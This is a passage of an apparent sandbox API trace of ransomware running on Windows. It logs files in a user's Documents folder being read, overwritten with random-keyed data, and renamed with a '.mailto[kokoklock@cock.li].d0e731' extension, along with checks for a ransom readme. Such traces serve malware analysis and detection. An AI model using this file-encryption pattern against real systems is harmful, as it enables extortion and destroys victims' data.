(lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\gQmybri0tAA5OGYl.xls.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.361] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb6) returned 0x2f8bc90 [0178.361] wcscpy (in: _Dest=0x2f8bc90, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0178.361] wcscat (in: _Dest=0x2f8bc90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" [0178.361] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\d0e731-readme.txt")) returned 0x20 [0178.361] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8bc90) returned 1 [0178.361] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d278) returned 1 [0178.361] RtlExitUserThread (Status=0x1) Thread: id = 2742 os_tid = 0x79c [0178.363] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\h22-8hvngyqj.xlsx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.363] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.364] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\h22-8hvngyqj.xlsx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0178.364] GetFileSizeEx (in: hFile=0x6f4, lpFileSize=0x2c9ff774 | out: lpFileSize=0x2c9ff774*=52144) returned 1 [0178.364] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0xcbac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.364] ReadFile (in: hFile=0x6f4, lpBuffer=0x2c9ff748, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c9ff744, lpOverlapped=0x0 | out: lpBuffer=0x2c9ff748*, lpNumberOfBytesRead=0x2c9ff744*=0x4, lpOverlapped=0x0) returned 1 [0178.367] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.368] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f979f8 [0178.368] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97d40 [0178.368] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97ae8 [0178.368] NtQuerySystemTime (in: CurrentTime=0x2c9ff720 | out: CurrentTime=0x2c9ff720*=132121213356874643) returned 0x0 [0178.368] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0x9cdbec12 [0178.368] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0xe5938555 [0178.368] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0x7bbb0863 [0178.368] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0x4a4964ea [0178.368] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0x45f380f [0178.368] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0xb8760d9f [0178.368] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0x2494747b [0178.368] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0xa869139d [0178.369] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0xb498b92c [0178.369] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0x3e131294 [0178.369] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0xec4d1065 [0178.369] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0x72d9dc0b [0178.369] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0x9674db8 [0178.369] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0x68a10975 [0178.369] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0x59564add [0178.369] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0xd0ac5f57 [0178.369] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0x513136b0 [0178.369] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0x6491955f [0178.369] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0x5e04f4ec [0178.369] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0x3931c9bc [0178.369] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0x12f32800 [0178.369] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0xcade1c8c [0178.369] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0x905006a8 [0178.369] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0x7514af9b [0178.369] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0x139fba8b [0178.369] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0x1b21334e [0178.369] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0x2cea4a5b [0178.370] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0x3fd95cd6 [0178.370] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0xa163d928 [0178.370] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0x4221668a [0178.370] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0xac829f7e [0178.370] RtlRandom (in: Seed=0x2c9ff72c | out: Seed=0x2c9ff72c) returned 0xbe44a8d0 [0178.384] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.384] ReadFile (in: hFile=0x6f4, lpBuffer=0x4f03770, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2c9ff6f8, lpOverlapped=0x0 | out: lpBuffer=0x4f03770*, lpNumberOfBytesRead=0x2c9ff6f8*=0x4096, lpOverlapped=0x0) returned 1 [0178.393] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.393] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87740 [0178.393] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88eb0 [0178.393] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97b10 [0178.393] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97b10) returned 1 [0178.393] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3024080 [0178.393] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97b10 [0178.393] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97cc8 [0178.394] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97cc8) returned 1 [0178.394] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88eb0) returned 1 [0178.394] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87740) returned 1 [0178.394] WriteFile (in: hFile=0x6f4, lpBuffer=0x3024080*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2c9ff6f8, lpOverlapped=0x0 | out: lpBuffer=0x3024080*, lpNumberOfBytesWritten=0x2c9ff6f8*=0x4096, lpOverlapped=0x0) returned 1 [0178.394] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3024080) returned 1 [0178.394] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0xcbb0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.394] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f97b10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c9ff730, lpOverlapped=0x0 | out: lpBuffer=0x2f97b10*, lpNumberOfBytesWritten=0x2c9ff730*=0x20, lpOverlapped=0x0) returned 1 [0178.395] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97b10) returned 1 [0178.395] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f03770) returned 1 [0178.395] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f97b38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c9ff744, lpOverlapped=0x0 | out: lpBuffer=0x2f97b38*, lpNumberOfBytesWritten=0x2c9ff744*=0x8, lpOverlapped=0x0) returned 1 [0178.395] WriteFile (in: hFile=0x6f4, lpBuffer=0x2c9ff75c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c9ff744, lpOverlapped=0x0 | out: lpBuffer=0x2c9ff75c*, lpNumberOfBytesWritten=0x2c9ff744*=0x4, lpOverlapped=0x0) returned 1 [0178.395] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c9ff744, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2c9ff744*=0x4, lpOverlapped=0x0) returned 1 [0178.395] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c9ff744, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2c9ff744*=0x6c, lpOverlapped=0x0) returned 1 [0178.395] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f97d40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c9ff744, lpOverlapped=0x0 | out: lpBuffer=0x2f97d40*, lpNumberOfBytesWritten=0x2c9ff744*=0x20, lpOverlapped=0x0) returned 1 [0178.395] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c9ff744, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2c9ff744*=0x4, lpOverlapped=0x0) returned 1 [0178.395] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97d40) returned 1 [0178.396] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97d68) returned 1 [0178.396] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97b38) returned 1 [0178.396] CloseHandle (hObject=0x6f4) returned 1 [0178.396] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x138) returned 0x2f97f00 [0178.396] wcscpy (in: _Dest=0x2f97f00, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx.mailto[kokoklock@cock.li].d0e731" [0178.396] wcscat (in: _Dest=0x2f97f00, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0178.396] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\h22-8hvngyqj.xlsx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\h22-8hvngyqj.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0178.397] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.397] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97f00) returned 1 [0178.397] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\H22-8HVNgyqJ.xlsx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.398] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb6) returned 0x2f8bc90 [0178.398] wcscpy (in: _Dest=0x2f8bc90, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\" [0178.398] wcscat (in: _Dest=0x2f8bc90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" [0178.398] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\d0e731-readme.txt")) returned 0x20 [0178.398] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8bc90) returned 1 [0178.398] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84d18) returned 1 [0178.398] RtlExitUserThread (Status=0x1) Thread: id = 2743 os_tid = 0x7c0 [0178.399] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\hwduek.odt.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.400] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0178.400] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\Iek-\\n1JH8G4OIjPkJwNJ\\HWDuek.odt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\iek-\\n1jh8g4oijpkjwnj\\hwduek.odt.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0178.400] GetFileSizeEx (in: hFile=0x6f4, lpFileSize=0x2ca7f984 | out: lpFileSize=0x2ca7f984*=71394) returned 1 [0178.400] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x116de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.400] ReadFile (in: hFile=0x6f4, lpBuffer=0x2ca7f958, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ca7f954, lpOverlapped=0x0 | out: lpBuffer=0x2ca7f958*, lpNumberOfBytesRead=0x2ca7f954*=0x4, lpOverlapped=0x0) returned 1 [0178.402] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.402] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f979f8 [0178.402] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97d40 [0178.402] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97b10 [0178.402] NtQuerySystemTime (in: CurrentTime=0x2ca7f930 | out: CurrentTime=0x2ca7f930*=132121213357186899) returned 0x0 [0178.402] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0x4a5b3688 [0178.402] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0xb91be3e7 [0178.402] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0xc4f397b1 [0178.402] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0xa80f09f3 [0178.402] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0x571fb778 [0178.402] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0x117c422a [0178.402] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0x394329dc [0178.402] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0x40982224 [0178.402] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0x21767f32 [0178.402] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0x15db85b7 [0178.402] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0x44b88a52 [0178.402] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0x96a27e92 [0178.402] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0x9e17dd0e [0178.402] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0x3fa6ba2f [0178.402] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0xea2416b1 [0178.403] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0x93b3becf [0178.403] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0x7585db0 [0178.403] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0xf3cc53da [0178.403] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0xe5fbe684 [0178.403] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0x9bfc04c6 [0178.403] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0xae34292c [0178.403] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0xe5b62ea1 [0178.403] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0x1057c8b9 [0178.403] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0xb7f69427 [0178.403] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0xf9318df4 [0178.403] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0xdf4a2636 [0178.403] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0x7b478e5e [0178.403] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0xe51e6c5e [0178.403] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0x8a282d19 [0178.403] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0x3c94f0ec [0178.403] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0xe8f2588d [0178.403] RtlRandom (in: Seed=0x2ca7f93c | out: Seed=0x2ca7f93c) returned 0xd7a52d19 [0178.417] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.417] ReadFile (in: hFile=0x6f4, lpBuffer=0x4f03770, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2ca7f908, lpOverlapped=0x0 | out: lpBuffer=0x4f03770*, lpNumberOfBytesRead=0x2ca7f908*=0x4096, lpOverlapped=0x0) returned 1 [0178.418] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.418] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87740 [0178.418] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88eb0 [0178.418] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97b60 [0178.418] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97b60) returned 1 [0178.419] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3024080 [0178.419] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97b60 [0178.419] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f97cc8 [0178.419] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97cc8) returned 1 [0178.419] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88eb0) returned 1 [0178.419] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87740) returned 1 [0178.419] WriteFile (in: hFile=0x6f4, lpBuffer=0x3024080*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2ca7f908, lpOverlapped=0x0 | out: lpBuffer=0x3024080*, lpNumberOfBytesWritten=0x2ca7f908*=0x4096, lpOverlapped=0x0) returned 1 [0178.420] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3024080) returned 1 [0178.420] SetFilePointerEx (in: hFile=0x6f4, liDistanceToMove=0x116e2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.420] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f97b60*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ca7f940, lpOverlapped=0x0 | out: lpBuffer=0x2f97b60*, lpNumberOfBytesWritten=0x2ca7f940*=0x20, lpOverlapped=0x0) returned 1 [0178.420] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97b60) returned 1 [0178.420] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f03770) returned 1 [0178.420] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f97b38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2ca7f954, lpOverlapped=0x0 | out: lpBuffer=0x2f97b38*, lpNumberOfBytesWritten=0x2ca7f954*=0x8, lpOverlapped=0x0) returned 1 [0178.420] WriteFile (in: hFile=0x6f4, lpBuffer=0x2ca7f96c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ca7f954, lpOverlapped=0x0 | out: lpBuffer=0x2ca7f96c*, lpNumberOfBytesWritten=0x2ca7f954*=0x4, lpOverlapped=0x0) returned 1 [0178.420] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ca7f954, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x2ca7f954*=0x4, lpOverlapped=0x0) returned 1 [0178.420] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2ca7f954, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x2ca7f954*=0x6c, lpOverlapped=0x0) returned 1 [0178.421] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f97d40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ca7f954, lpOverlapped=0x0 | out: lpBuffer=0x2f97d40*, lpNumberOfBytesWritten=0x2ca7f954*=0x20, lpOverlapped=0x0) returned 1 [0178.421] WriteFile (in: hFile=0x6f4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ca7f954, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x2ca7f954*=0x4, lpOverlapped=0x0) returned 1 [0178.421] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97d40) returned 1 [0178.421] 